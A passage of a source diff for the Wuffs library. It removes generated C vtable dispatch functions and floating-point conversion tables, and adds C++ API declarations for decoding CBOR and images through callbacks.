DecodeCborArgQuirks wraps an optional argument to DecodeCbor. ++struct DecodeCborArgQuirks { ++ explicit DecodeCborArgQuirks(const QuirkKeyValuePair* ptr0, ++ const size_t len0); + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__io_transformer__vtable_name) { +- const wuffs_base__io_transformer__func_ptrs* func_ptrs = +- (const wuffs_base__io_transformer__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->get_quirk)(self, a_key); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++ // DefaultValue returns an empty slice. ++ static DecodeCborArgQuirks DefaultValue(); + +- return 0; +-} ++ const QuirkKeyValuePair* ptr; ++ const size_t len; ++}; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_base__io_transformer__history_retain_length( +- const wuffs_base__io_transformer* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } ++// DecodeCbor calls callbacks based on the CBOR-formatted data in input. ++// ++// On success, the returned error_message is empty and cursor_position counts ++// the number of bytes consumed. On failure, error_message is non-empty and ++// cursor_position is the location of the error. That error may be a content ++// error (invalid CBOR) or an input error (e.g. network failure). ++DecodeCborResult // ++DecodeCbor(DecodeCborCallbacks& callbacks, ++ sync_io::Input& input, ++ DecodeCborArgQuirks quirks = DecodeCborArgQuirks::DefaultValue()); + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__io_transformer__vtable_name) { +- const wuffs_base__io_transformer__func_ptrs* func_ptrs = +- (const wuffs_base__io_transformer__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->history_retain_length)(self); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++} // namespace wuffs_aux + +- return 0; +-} ++// ---------------- Auxiliary - Image + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_base__io_transformer__set_quirk( +- wuffs_base__io_transformer* self, +- uint32_t a_key, +- uint64_t a_value) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } ++namespace wuffs_aux { + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__io_transformer__vtable_name) { +- const wuffs_base__io_transformer__func_ptrs* func_ptrs = +- (const wuffs_base__io_transformer__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->set_quirk)(self, a_key, a_value); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++struct DecodeImageResult { ++ DecodeImageResult(MemOwner&& pixbuf_mem_owner0, ++ wuffs_base__pixel_buffer pixbuf0, ++ std::string&& error_message0); ++ DecodeImageResult(std::string&& error_message0); + +- return wuffs_base__make_status(wuffs_base__error__bad_vtable); +-} ++ MemOwner pixbuf_mem_owner; ++ wuffs_base__pixel_buffer pixbuf; ++ std::string error_message; ++}; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_base__io_transformer__transform_io( +- wuffs_base__io_transformer* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__slice_u8 a_workbuf) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } ++// DecodeImageCallbacks are the callbacks given to DecodeImage. They are always ++// called in this order: ++// 1. SelectDecoder ++// 2. HandleMetadata ++// 3. SelectPixfmt ++// 4. AllocPixbuf ++// 5. AllocWorkbuf ++// 6. Done ++// ++// It may return early - the third callback might not be invoked if the second ++// one fails - but the final callback (Done) is always invoked. ++class DecodeImageCallbacks { ++ public: ++ // AllocPixbufResult holds a memory allocation (the result of malloc or new, ++ // a statically allocated pointer, etc), or an error message. The memory is ++ // de-allocated when mem_owner goes out of scope and is destroyed. ++ struct AllocPixbufResult { ++ AllocPixbufResult(MemOwner&& mem_owner0, wuffs_base__pixel_buffer pixbuf0); ++ AllocPixbufResult(std::string&& error_message0); + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__io_transformer__vtable_name) { +- const wuffs_base__io_transformer__func_ptrs* func_ptrs = +- (const wuffs_base__io_transformer__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->transform_io)(self, a_dst, a_src, a_workbuf); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++ MemOwner mem_owner; ++ wuffs_base__pixel_buffer pixbuf; ++ std::string error_message; ++ }; + +- return wuffs_base__make_status(wuffs_base__error__bad_vtable); +-} ++ // AllocWorkbufResult holds a memory allocation (the result of malloc or new, ++ // a statically allocated pointer, etc), or an error message. The memory is ++ // de-allocated when mem_owner goes out of scope and is destroyed. ++ struct AllocWorkbufResult { ++ AllocWorkbufResult(MemOwner&& mem_owner0, wuffs_base__slice_u8 workbuf0); ++ AllocWorkbufResult(std::string&& error_message0); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_base__io_transformer__workbuf_len( +- const wuffs_base__io_transformer* self) { +- if (!self) { +- return wuffs_base__utility__empty_range_ii_u64(); +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_range_ii_u64(); +- } ++ MemOwner mem_owner; ++ wuffs_base__slice_u8 workbuf; ++ std::string error_message; ++ }; + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__io_transformer__vtable_name) { +- const wuffs_base__io_transformer__func_ptrs* func_ptrs = +- (const wuffs_base__io_transformer__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->workbuf_len)(self); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++ virtual ~DecodeImageCallbacks(); + +- return wuffs_base__utility__empty_range_ii_u64(); +-} ++ // SelectDecoder returns the image decoder for the input data's file format. ++ // Returning a nullptr means failure (DecodeImage_UnsupportedImageFormat). ++ // ++ // Common formats will have a FourCC value in the range [1 ..= 0x7FFF_FFFF], ++ // such as WUFFS_BASE__FOURCC__JPEG. A zero FourCC value means that Wuffs' ++ // standard library did not recognize the image format but if SelectDecoder ++ // was overridden, it may examine the input data's starting bytes and still ++ // provide its own image decoder, e.g. for an exotic image file format that's ++ // not in Wuffs' standard library. The prefix_etc fields have the same ++ // meaning as wuffs_base__magic_number_guess_fourcc arguments. SelectDecoder ++ // implementations should not modify prefix_data's contents. ++ // ++ // SelectDecoder might be called more than once, since some image file ++ // formats can wrap others. For example, a nominal BMP file can actually ++ // contain a JPEG or a PNG. ++ // ++ // The default SelectDecoder accepts the FOURCC codes listed below. For ++ // modular builds (i.e. when #define'ing WUFFS_CONFIG__MODULES), acceptance ++ // of the ETC file format is optional (for each value of ETC) and depends on ++ // the corresponding module to be enabled at compile time (i.e. #define'ing ++ // WUFFS_CONFIG__MODULE__ETC). ++ // - WUFFS_BASE__FOURCC__BMP ++ // - WUFFS_BASE__FOURCC__GIF ++ // - WUFFS_BASE__FOURCC__JPEG ++ // - WUFFS_BASE__FOURCC__NIE ++ // - WUFFS_BASE__FOURCC__NPBM ++ // - WUFFS_BASE__FOURCC__PNG ++ // - WUFFS_BASE__FOURCC__QOI ++ // - WUFFS_BASE__FOURCC__TGA ++ // - WUFFS_BASE__FOURCC__WBMP ++ // - WUFFS_BASE__FOURCC__WEBP ++ virtual wuffs_base__image_decoder::unique_ptr // ++ SelectDecoder(uint32_t fourcc, ++ wuffs_base__slice_u8 prefix_data, ++ bool prefix_closed); + +-// -------- ++ // HandleMetadata acknowledges image metadata. minfo.flavor will be one of: ++ // - WUFFS_BASE__MORE_INFORMATION__FLAVOR__METADATA_RAW_PASSTHROUGH ++ // - WUFFS_BASE__MORE_INFORMATION__FLAVOR__METADATA_PARSED ++ // If it is ETC__METADATA_RAW_ETC then raw contains the metadata bytes. Those ++ // bytes should not be retained beyond the the HandleMetadata call. ++ // ++ // minfo.metadata__fourcc() will typically match one of the ++ // DecodeImageArgFlags bits. For example, if (REPORT_METADATA_CHRM | ++ // REPORT_METADATA_GAMA) was passed to DecodeImage then the metadata FourCC ++ // will be either WUFFS_BASE__FOURCC__CHRM or WUFFS_BASE__FOURCC__GAMA. ++ // ++ // It returns an error message, or an empty string on success. ++ virtual std::string // ++ HandleMetadata(const wuffs_base__more_information& minfo, ++ wuffs_base__slice_u8 raw); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_base__token_decoder__decode_tokens( +- wuffs_base__token_decoder* self, +- wuffs_base__token_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__slice_u8 a_workbuf) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } ++ // SelectPixfmt returns the destination pixel format for AllocPixbuf. It ++ // should return wuffs_base__make_pixel_format(etc) called with one of: ++ // - WUFFS_BASE__PIXEL_FORMAT__BGR_565 ++ // - WUFFS_BASE__PIXEL_FORMAT__BGR ++ // - WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL ++ // - WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE ++ // - WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL ++ // - WUFFS_BASE__PIXEL_FORMAT__RGB ++ // - WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL ++ // - WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL ++ // or return image_config.pixcfg.pixel_format(). The latter means to use the ++ // image file's natural pixel format. For example, GIF images' natural pixel ++ // format is an indexed one. ++ // ++ // Returning otherwise means failure (DecodeImage_UnsupportedPixelFormat). ++ // ++ // The default SelectPixfmt implementation returns ++ // wuffs_base__make_pixel_format(WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL) which ++ // is 4 bytes per pixel (8 bits per channel × 4 channels). ++ virtual wuffs_base__pixel_format // ++ SelectPixfmt(const wuffs_base__image_config& image_config); + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__token_decoder__vtable_name) { +- const wuffs_base__token_decoder__func_ptrs* func_ptrs = +- (const wuffs_base__token_decoder__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->decode_tokens)(self, a_dst, a_src, a_workbuf); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++ // AllocPixbuf allocates the pixel buffer. ++ // ++ // allow_uninitialized_memory will be true if a valid background_color was ++ // passed to DecodeImage, since the pixel buffer's contents will be ++ // overwritten with that color after AllocPixbuf returns. ++ // ++ // The default AllocPixbuf implementation allocates either uninitialized or ++ // zeroed memory. Zeroed memory typically corresponds to filling with opaque ++ // black or transparent black, depending on the pixel format. ++ virtual AllocPixbufResult // ++ AllocPixbuf(const wuffs_base__image_config& image_config, ++ bool allow_uninitialized_memory); + +- return wuffs_base__make_status(wuffs_base__error__bad_vtable); +-} ++ // AllocWorkbuf allocates the work buffer. The allocated buffer's length ++ // should be at least len_range.min_incl, but larger allocations (up to ++ // len_range.max_incl) may have better performance (by using more memory). ++ // ++ // The default AllocWorkbuf implementation allocates len_range.max_incl bytes ++ // of either uninitialized or zeroed memory. ++ virtual AllocWorkbufResult // ++ AllocWorkbuf(wuffs_base__range_ii_u64 len_range, ++ bool allow_uninitialized_memory); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_base__token_decoder__get_quirk( +- const wuffs_base__token_decoder* self, +- uint32_t a_key) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } ++ // Done is always the last Callback method called by DecodeImage, whether or ++ // not parsing the input encountered an error. Even when successful, trailing ++ // data may remain in input and buffer. ++ // ++ // The image_decoder is the one returned by SelectDecoder (if SelectDecoder ++ // was successful), or a no-op unique_ptr otherwise. Like any unique_ptr, ++ // ownership moves to the Done implementation. ++ // ++ // Do not keep a reference to buffer or buffer.data.ptr after Done returns, ++ // as DecodeImage may then de-allocate the backing array. ++ // ++ // The default Done implementation is a no-op, other than running the ++ // image_decoder unique_ptr destructor. ++ virtual void // ++ Done(DecodeImageResult& result, ++ sync_io::Input& input, ++ IOBuffer& buffer, ++ wuffs_base__image_decoder::unique_ptr image_decoder); ++}; + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__token_decoder__vtable_name) { +- const wuffs_base__token_decoder__func_ptrs* func_ptrs = +- (const wuffs_base__token_decoder__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->get_quirk)(self, a_key); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++extern const char DecodeImage_BufferIsTooShort[]; ++extern const char DecodeImage_MaxInclDimensionExceeded[]; ++extern const char DecodeImage_MaxInclMetadataLengthExceeded[]; ++extern const char DecodeImage_OutOfMemory[]; ++extern const char DecodeImage_UnexpectedEndOfFile[]; ++extern const char DecodeImage_UnsupportedImageFormat[]; ++extern const char DecodeImage_UnsupportedMetadata[]; ++extern const char DecodeImage_UnsupportedPixelBlend[]; ++extern const char DecodeImage_UnsupportedPixelConfiguration[]; ++extern const char DecodeImage_UnsupportedPixelFormat[]; + +- return 0; +-} ++// The FooArgBar types add structure to Foo's optional arguments. They wrap ++// inner representations for several reasons: ++// - It provides a home for the DefaultValue static method, for Foo callers ++// that want to override some but not all optional arguments. ++// - It provides the "Bar" name at Foo call sites, which can help self- ++// document Foo calls with many arguemnts. ++// - It provides some type safety against accidentally transposing or omitting ++// adjacent fundamentally-numeric-typed optional arguments. + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_base__token_decoder__history_retain_length( +- const wuffs_base__token_decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } ++// DecodeImageArgQuirks wraps an optional argument to DecodeImage. ++struct DecodeImageArgQuirks { ++ explicit DecodeImageArgQuirks(const QuirkKeyValuePair* ptr0, ++ const size_t len0); + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__token_decoder__vtable_name) { +- const wuffs_base__token_decoder__func_ptrs* func_ptrs = +- (const wuffs_base__token_decoder__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->history_retain_length)(self); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++ // DefaultValue returns an empty slice. ++ static DecodeImageArgQuirks DefaultValue(); + +- return 0; +-} ++ const QuirkKeyValuePair* ptr; ++ const size_t len; ++}; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_base__token_decoder__set_quirk( +- wuffs_base__token_decoder* self, +- uint32_t a_key, +- uint64_t a_value) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } ++// DecodeImageArgFlags wraps an optional argument to DecodeImage. ++struct DecodeImageArgFlags { ++ explicit DecodeImageArgFlags(uint64_t repr0); + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__token_decoder__vtable_name) { +- const wuffs_base__token_decoder__func_ptrs* func_ptrs = +- (const wuffs_base__token_decoder__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->set_quirk)(self, a_key, a_value); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++ // DefaultValue returns 0. ++ static DecodeImageArgFlags DefaultValue(); + +- return wuffs_base__make_status(wuffs_base__error__bad_vtable); +-} ++ // TODO: support all of the REPORT_METADATA_ETC flags, not just CHRM, EXIF, ++ // GAMA, ICCP, KVP, SRGB and XMP. + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_base__token_decoder__workbuf_len( +- const wuffs_base__token_decoder* self) { +- if (!self) { +- return wuffs_base__utility__empty_range_ii_u64(); +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_range_ii_u64(); +- } ++ // Background Color. ++ static constexpr uint64_t REPORT_METADATA_BGCL = 0x0001; ++ // Primary Chromaticities and White Point. ++ static constexpr uint64_t REPORT_METADATA_CHRM = 0x0002; ++ // Exchangeable Image File Format. ++ static constexpr uint64_t REPORT_METADATA_EXIF = 0x0004; ++ // Gamma Correction. ++ static constexpr uint64_t REPORT_METADATA_GAMA = 0x0008; ++ // International Color Consortium Profile. ++ static constexpr uint64_t REPORT_METADATA_ICCP = 0x0010; ++ // Key-Value Pair. ++ // ++ // For PNG files, this includes iTXt, tEXt and zTXt chunks. In the ++ // HandleMetadata callback, the raw argument contains UTF-8 strings. ++ static constexpr uint64_t REPORT_METADATA_KVP = 0x0020; ++ // Modification Time. ++ static constexpr uint64_t REPORT_METADATA_MTIM = 0x0040; ++ // Offset (2-Dimensional). ++ static constexpr uint64_t REPORT_METADATA_OFS2 = 0x0080; ++ // Physical Dimensions. ++ static constexpr uint64_t REPORT_METADATA_PHYD = 0x0100; ++ // Standard Red Green Blue (Rendering Intent). ++ static constexpr uint64_t REPORT_METADATA_SRGB = 0x0200; ++ // Extensible Metadata Platform. ++ static constexpr uint64_t REPORT_METADATA_XMP = 0x0400; + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__token_decoder__vtable_name) { +- const wuffs_base__token_decoder__func_ptrs* func_ptrs = +- (const wuffs_base__token_decoder__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->workbuf_len)(self); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++ uint64_t repr; ++}; + +- return wuffs_base__utility__empty_range_ii_u64(); +-} ++// DecodeImageArgPixelBlend wraps an optional argument to DecodeImage. ++struct DecodeImageArgPixelBlend { ++ explicit DecodeImageArgPixelBlend(wuffs_base__pixel_blend repr0); + +-#endif // !defined(WUFFS_CONFIG__MODULES) || +- // defined(WUFFS_CONFIG__MODULE__BASE) || +- // defined(WUFFS_CONFIG__MODULE__BASE__INTERFACES) ++ // DefaultValue returns WUFFS_BASE__PIXEL_BLEND__SRC. ++ static DecodeImageArgPixelBlend DefaultValue(); + +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ +- defined(WUFFS_CONFIG__MODULE__BASE__FLOATCONV) ++ wuffs_base__pixel_blend repr; ++}; + +-// ---------------- IEEE 754 Floating Point ++// DecodeImageArgBackgroundColor wraps an optional argument to DecodeImage. ++struct DecodeImageArgBackgroundColor { ++ explicit DecodeImageArgBackgroundColor( ++ wuffs_base__color_u32_argb_premul repr0); + +-// The etc__hpd_left_shift and etc__powers_of_5 tables were printed by +-// script/print-hpd-left-shift.go. That script has an optional -comments flag, +-// whose output is not copied here, which prints further detail. +-// +-// These tables are used in +-// wuffs_base__private_implementation__high_prec_dec__lshift_num_new_digits. ++ // DefaultValue returns 1, an invalid wuffs_base__color_u32_argb_premul. ++ static DecodeImageArgBackgroundColor DefaultValue(); ++ ++ wuffs_base__color_u32_argb_premul repr; ++}; ++ ++// DecodeImageArgMaxInclDimension wraps an optional argument to DecodeImage. ++struct DecodeImageArgMaxInclDimension { ++ explicit DecodeImageArgMaxInclDimension(uint32_t repr0); ++ ++ // DefaultValue returns 1048575 = 0x000F_FFFF, more than 1 million pixels. ++ static DecodeImageArgMaxInclDimension DefaultValue(); ++ ++ uint32_t repr; ++}; ++ ++// DecodeImageArgMaxInclMetadataLength wraps an optional argument to ++// DecodeImage. ++struct DecodeImageArgMaxInclMetadataLength { ++ explicit DecodeImageArgMaxInclMetadataLength(uint64_t repr0); ++ ++ // DefaultValue returns 16777215 = 0x00FF_FFFF, one less than 16 MiB. ++ static DecodeImageArgMaxInclMetadataLength DefaultValue(); ++ ++ uint64_t repr; ++}; + +-// wuffs_base__private_implementation__hpd_left_shift[i] encodes the number of +-// new digits created after multiplying a positive integer by (1 << i): the +-// additional length in the decimal representation. For example, shifting "234" +-// by 3 (equivalent to multiplying by 8) will produce "1872". Going from a +-// 3-length string to a 4-length string means that 1 new digit was added (and +-// existing digits may have changed). ++// DecodeImage decodes the image data in input. A variety of image file formats ++// can be decoded, depending on what callbacks.SelectDecoder returns. + // +-// Shifting by i can add either N or N-1 new digits, depending on whether the +-// original positive integer compares >= or < to the i'th power of 5 (as 10 +-// equals 2 * 5). Comparison is lexicographic, not numerical. ++// For animated formats, only the first frame is returned, since the API is ++// simpler for synchronous I/O and having DecodeImage only return when ++// completely done, but rendering animation often involves handling other ++// events in between animation frames. To decode multiple frames of animated ++// images, or for asynchronous I/O (e.g. when decoding an image streamed over ++// the network), use Wuffs' lower level C API instead of its higher level, ++// simplified C++ API (the wuffs_aux API). + // +-// For example, shifting by 4 (i.e. multiplying by 16) can add 1 or 2 new +-// digits, depending on a lexicographic comparison to (5 ** 4), i.e. "625": +-// - ("1" << 4) is "16", which adds 1 new digit. +-// - ("5678" << 4) is "90848", which adds 1 new digit. +-// - ("624" << 4) is "9984", which adds 1 new digit. +-// - ("62498" << 4) is "999968", which adds 1 new digit. +-// - ("625" << 4) is "10000", which adds 2 new digits. +-// - ("625001" << 4) is "10000016", which adds 2 new digits. +-// - ("7008" << 4) is "112128", which adds 2 new digits. +-// - ("99" << 4) is "1584", which adds 2 new digits. ++// The DecodeImageResult's fields depend on whether decoding succeeded: ++// - On total success, the error_message is empty and pixbuf.pixcfg.is_valid() ++// is true. ++// - On partial success (e.g. the input file was truncated but we are still ++// able to decode some of the pixels), error_message is non-empty but ++// pixbuf.pixcfg.is_valid() is still true. It is up to the caller whether to ++// accept or reject partial success. ++// - On failure, the error_message is non_empty and pixbuf.pixcfg.is_valid() ++// is false. + // +-// Thus, when i is 4, N is 2 and (5 ** i) is "625". This etc__hpd_left_shift +-// array encodes this as: +-// - etc__hpd_left_shift[4] is 0x1006 = (2 << 11) | 0x0006. +-// - etc__hpd_left_shift[5] is 0x1009 = (? << 11) | 0x0009. +-// where the ? isn't relevant for i == 4. ++// The callbacks allocate the pixel buffer memory and work buffer memory. On ++// success, pixel buffer memory ownership is passed to the DecodeImage caller ++// as the returned pixbuf_mem_owner. Regardless of success or failure, the work ++// buffer memory is deleted. + // +-// The high 5 bits of etc__hpd_left_shift[i] is N, the higher of the two +-// possible number of new digits. The low 11 bits are an offset into the +-// etc__powers_of_5 array (of length 0x051C, so offsets fit in 11 bits). When i +-// is 4, its offset and the next one is 6 and 9, and etc__powers_of_5[6 .. 9] +-// is the string "\x06\x02\x05", so the relevant power of 5 is "625". ++// The pixel_blend (one of the constants listed below) determines how to ++// composite the decoded image over the pixel buffer's original pixels (as ++// returned by callbacks.AllocPixbuf): ++// - WUFFS_BASE__PIXEL_BLEND__SRC ++// - WUFFS_BASE__PIXEL_BLEND__SRC_OVER + // +-// Thanks to Ken Thompson for the original idea. +-static const uint16_t wuffs_base__private_implementation__hpd_left_shift[65] = { +- 0x0000, 0x0800, 0x0801, 0x0803, 0x1006, 0x1009, 0x100D, 0x1812, 0x1817, +- 0x181D, 0x2024, 0x202B, 0x2033, 0x203C, 0x2846, 0x2850, 0x285B, 0x3067, +- 0x3073, 0x3080, 0x388E, 0x389C, 0x38AB, 0x38BB, 0x40CC, 0x40DD, 0x40EF, +- 0x4902, 0x4915, 0x4929, 0x513E, 0x5153, 0x5169, 0x5180, 0x5998, 0x59B0, +- 0x59C9, 0x61E3, 0x61FD, 0x6218, 0x6A34, 0x6A50, 0x6A6D, 0x6A8B, 0x72AA, +- 0x72C9, 0x72E9, 0x7B0A, 0x7B2B, 0x7B4D, 0x8370, 0x8393, 0x83B7, 0x83DC, +- 0x8C02, 0x8C28, 0x8C4F, 0x9477, 0x949F, 0x94C8, 0x9CF2, 0x051C, 0x051C, +- 0x051C, 0x051C, +-}; +- +-// wuffs_base__private_implementation__powers_of_5 contains the powers of 5, +-// concatenated together: "5", "25", "125", "625", "3125", etc. +-static const uint8_t wuffs_base__private_implementation__powers_of_5[0x051C] = { +- 5, 2, 5, 1, 2, 5, 6, 2, 5, 3, 1, 2, 5, 1, 5, 6, 2, 5, 7, 8, 1, 2, 5, 3, 9, +- 0, 6, 2, 5, 1, 9, 5, 3, 1, 2, 5, 9, 7, 6, 5, 6, 2, 5, 4, 8, 8, 2, 8, 1, 2, +- 5, 2, 4, 4, 1, 4, 0, 6, 2, 5, 1, 2, 2, 0, 7, 0, 3, 1, 2, 5, 6, 1, 0, 3, 5, +- 1, 5, 6, 2, 5, 3, 0, 5, 1, 7, 5, 7, 8, 1, 2, 5, 1, 5, 2, 5, 8, 7, 8, 9, 0, +- 6, 2, 5, 7, 6, 2, 9, 3, 9, 4, 5, 3, 1, 2, 5, 3, 8, 1, 4, 6, 9, 7, 2, 6, 5, +- 6, 2, 5, 1, 9, 0, 7, 3, 4, 8, 6, 3, 2, 8, 1, 2, 5, 9, 5, 3, 6, 7, 4, 3, 1, +- 6, 4, 0, 6, 2, 5, 4, 7, 6, 8, 3, 7, 1, 5, 8, 2, 0, 3, 1, 2, 5, 2, 3, 8, 4, +- 1, 8, 5, 7, 9, 1, 0, 1, 5, 6, 2, 5, 1, 1, 9, 2, 0, 9, 2, 8, 9, 5, 5, 0, 7, +- 8, 1, 2, 5, 5, 9, 6, 0, 4, 6, 4, 4, 7, 7, 5, 3, 9, 0, 6, 2, 5, 2, 9, 8, 0, +- 2, 3, 2, 2, 3, 8, 7, 6, 9, 5, 3, 1, 2, 5, 1, 4, 9, 0, 1, 1, 6, 1, 1, 9, 3, +- 8, 4, 7, 6, 5, 6, 2, 5, 7, 4, 5, 0, 5, 8, 0, 5, 9, 6, 9, 2, 3, 8, 2, 8, 1, +- 2, 5, 3, 7, 2, 5, 2, 9, 0, 2, 9, 8, 4, 6, 1, 9, 1, 4, 0, 6, 2, 5, 1, 8, 6, +- 2, 6, 4, 5, 1, 4, 9, 2, 3, 0, 9, 5, 7, 0, 3, 1, 2, 5, 9, 3, 1, 3, 2, 2, 5, +- 7, 4, 6, 1, 5, 4, 7, 8, 5, 1, 5, 6, 2, 5, 4, 6, 5, 6, 6, 1, 2, 8, 7, 3, 0, +- 7, 7, 3, 9, 2, 5, 7, 8, 1, 2, 5, 2, 3, 2, 8, 3, 0, 6, 4, 3, 6, 5, 3, 8, 6, +- 9, 6, 2, 8, 9, 0, 6, 2, 5, 1, 1, 6, 4, 1, 5, 3, 2, 1, 8, 2, 6, 9, 3, 4, 8, +- 1, 4, 4, 5, 3, 1, 2, 5, 5, 8, 2, 0, 7, 6, 6, 0, 9, 1, 3, 4, 6, 7, 4, 0, 7, +- 2, 2, 6, 5, 6, 2, 5, 2, 9, 1, 0, 3, 8, 3, 0, 4, 5, 6, 7, 3, 3, 7, 0, 3, 6, +- 1, 3, 2, 8, 1, 2, 5, 1, 4, 5, 5, 1, 9, 1, 5, 2, 2, 8, 3, 6, 6, 8, 5, 1, 8, +- 0, 6, 6, 4, 0, 6, 2, 5, 7, 2, 7, 5, 9, 5, 7, 6, 1, 4, 1, 8, 3, 4, 2, 5, 9, +- 0, 3, 3, 2, 0, 3, 1, 2, 5, 3, 6, 3, 7, 9, 7, 8, 8, 0, 7, 0, 9, 1, 7, 1, 2, +- 9, 5, 1, 6, 6, 0, 1, 5, 6, 2, 5, 1, 8, 1, 8, 9, 8, 9, 4, 0, 3, 5, 4, 5, 8, +- 5, 6, 4, 7, 5, 8, 3, 0, 0, 7, 8, 1, 2, 5, 9, 0, 9, 4, 9, 4, 7, 0, 1, 7, 7, +- 2, 9, 2, 8, 2, 3, 7, 9, 1, 5, 0, 3, 9, 0, 6, 2, 5, 4, 5, 4, 7, 4, 7, 3, 5, +- 0, 8, 8, 6, 4, 6, 4, 1, 1, 8, 9, 5, 7, 5, 1, 9, 5, 3, 1, 2, 5, 2, 2, 7, 3, +- 7, 3, 6, 7, 